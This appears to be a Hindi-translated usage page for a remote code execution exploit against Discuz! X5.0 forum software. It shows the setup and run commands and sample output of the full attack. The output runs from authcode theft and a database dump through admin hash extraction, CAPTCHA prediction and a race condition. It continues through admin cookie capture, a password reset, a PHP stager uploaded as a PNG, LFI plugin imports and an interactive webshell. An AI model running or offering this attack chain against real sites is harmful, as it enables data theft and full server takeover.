सेटअप

pip3 install Pillow torch torchvision

चलाएँ

$ python3 exploit.py http://localhost/discuz5/

+----------------------------------------------------+
| Discuz! X5.0 दूरस्थ कोड निष्पादन शोषण - EgiX द्वारा |
+----------------------------------------------------+

[+] DB निर्यात के लिए authcode प्राप्त कर रहे हैं
[+] Authcode: 61feiuI8ReSHRHUDKl2DXeB1QMcdNX6Mpu0gZ8OBS5qRgmQ6Jg3W6mrNVooNqITEtQOd4WUMlGNlQSz7WD6s
[+] DB निर्यात हो रहा है
[+] DB डंप डाउनलोड हो रहा है
[+] व्यवस्थापक का उपयोगकर्ता नाम और MD5 पासवर्ड हैश खोजा जा रहा है
[+] व्यवस्थापक उपयोगकर्ता नाम: admin
[+] व्यवस्थापक MD5 पासवर्ड: 96b21b6bfc5fe6d4530f8345fbcfbc6d
[+] नया 'विशेष' उपयोगकर्ता पंजीकृत कर रहे हैं
[+] उपयोगकर्ता नाम: 96b21b6bfc5fe6d4530f8345fbcfbc6d	1	c55a895b
[+] CAPTCHA सक्षम है
[+] CAPTCHA डाउनलोड हो रहा है
[+] CAPTCHA भविष्यवाणी: CY46
[+] DB आयात के लिए authcode प्राप्त कर रहे हैं
[+] Authcode: 553fh4gPsIhwsSdSKb1ti6SqITi945W2I%2BEyoYCMwVQeMqfyp4ekIwTPqzKkU7hfTHqVg0FhhR9Ic3kiUkkGVsbzkDOIcRpL7bCHUKRKha6KxPeOoud0qxEZPqk
[+] CAPTCHA सक्षम है
[+] CAPTCHA डाउनलोड हो रहा है
[+] CAPTCHA भविष्यवाणी: CMJ6
[+] रेस कंडीशन हमला किया जा रहा है
[+] 🏆 रेस कंडीशन हमला सफल!
[+] व्यवस्थापक प्रमाणीकरण कुकी: ef196PBDlZZvpe3Fze5ZW36x3%2B7i9cukujemIqJ%2BH1vGJCBmVWLlNVa2OCnq2lAsLjFhrC5x55Wgh3mlqgSnlwXKRqvhQbDaZguSq5hboelr
[+] आयात प्रक्रिया समाप्त होने की प्रतीक्षा की जा रही है
[+] व्यवस्थापक पासवर्ड रीसेट किया जा रहा है
[+] admincp में लॉगिन किया जा रहा है
[+] व्यवस्थापक के रूप में: PHP स्टेजर को PNG छवि के रूप में अपलोड किया जा रहा है
[+] व्यवस्थापक के रूप में: नकली प्लगइन आयात किया जा रहा है
[+] व्यवस्थापक के रूप में: स्थानीय फ़ाइल समावेशन (LFI) प्लगइन आयात किया जा रहा है
[+] व्यवस्थापक के रूप में: PHP स्टेजर LFI ट्रिगर किया जा रहा है
[+] वेबशेल लॉन्च किया जा रहा है

discuz-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

discuz-shell# pwd
/var/www/html/discuz5

discuz-shell# exit